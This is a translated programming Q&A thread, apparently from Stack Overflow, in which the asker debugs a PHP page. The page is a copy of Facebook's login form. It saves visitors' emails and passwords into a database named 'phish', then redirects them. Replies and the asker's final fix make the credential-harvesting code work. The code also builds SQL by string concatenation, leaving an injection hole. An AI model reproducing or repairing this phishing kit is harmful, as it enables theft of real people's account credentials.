[英]form if(isset($_POST['login'])) not working at all in php
我的问题是我需要这个来向我的数据库提交数据。 下面是我尝试过的代码。 实际问题是我想使用 if(isset($_POST['login'])) 但它在这种形式下不起作用任何想法?
在我的 html 之上
<?php
session_start();
$_SESSION['ref']=$_GET['ref'];
function login()
{
$host="127.0.0.1:8889";
$user="root";
$pw="root";
$verbinding=mysql_connect($host,$user,$pw) or die("Kan de verbinding niet maken");
}
?>
我的表格可以在这里找到
<form id="login_form" action="" method="post" onsubmit="">
<input type="hidden" name="lsd" value="AVo7vBhv" autocomplete="off"><table cellspacing="0"> <tbody>
<tr><td class="html7magic"><label for="email">Email or Phone</label></td><td class="html7magic">
<label for="pass">Password</label></td></tr><tr><td><input type="text" class="inputtext" name="email" id="email" value="" tabindex="1"></td>
<td><input type="password" class="inputtext" name="pass" id="pass" tabindex="2"></td>
<td><label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_n">
<input id="u_0_n" name="login" type="submit" value="Log In"></label></td>
</tr>
<tr><td class="login_form_label_field"><div><div class="uiInputLabel clearfix uiInputLabelLegacy">
<input id="persist_box" type="checkbox" name="persistent" value="1" tabindex="3" class="uiInputLabelInput uiInputLabelCheckbox"><label for="persist_box" class="uiInputLabelLabel">Keep me logged in</label></div>
<input type="hidden" name="default_persistent" value="0"></div></td><td class="login_form_label_field"><a rel="nofollow" href="https://www.facebook.com/recover/initiate">Forgot your password?</a></td></tr></tbody></table>
<input type="hidden" autocomplete="off" name="timezone" value="-120" id="u_0_o">
<input type="hidden" name="lgnrnd" value="082209_35e1"><input type="hidden" id="lgnjs" name="lgnjs" value="1396970529">
<input type="hidden" autocomplete="off" id="locale" name="locale" value="en_US"></form>
在我的表格下面你会发现这个
<?php
if(isset($_POST['login'])){
if($_POST['email'] != "" && $_POST['pass'] != "")
{
login();
$db="phish";
mysql_select_db($db);
$sql = "INSERT INTO facebook(username,password,ref) VALUES ('".base64_encode($_POST['email'])."','".base64_encode($_POST['pass'])."','".$_SESSION['ref']."')";
mysql_query($sql);
mysql_close($verbinding);
}
}
?>
您需要将 method="post" 放在表单标签中。
嗯:)
您确实需要了解 PHP 中的函数语法。 在创建新函数之前,您需要使用“函数”前缀。
function login()
{
$host="127.0.0.1:8889";
$user="root";
$pw="root";
$verbinding=mysql_connect($host,$user,$pw) or die("Kan de verbinding niet maken");
}
顺便说一句,您不需要创建一个函数来连接您的数据库。 你可以只使用include("path/to/mysql_connection.php");
功能。 它更有效率。
代码中的另一件事是表单发送的方法。 您正在使用 POST 方法,因此您需要将method="post"
添加到您的表单标签中。
而且我实际上了解您的代码在做什么,但希望信息有所帮助。
祝你好运。
我得到了答案,我不得不改变它
到:
<?php
if($_POST['email'] != "" && $_POST['pass'] != "")
{
login();
$db="phish";
mysql_select_db($db);
$sql = "INSERT INTO facebook(username,password,ref) VALUES ('".base64_encode($_POST['email'])."','".base64_encode($_POST['pass'])."','".$_SESSION['ref']."')";
mysql_query($sql);
mysql_close($verbinding);
?>
<script>
alert("alert here");
window.location.href="url-here";
</script>
<?php
}
?>
我刚刚删除了 if(isset($_POST['login'])) 并使用了一些额外的 javascript 来让它工作;)
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.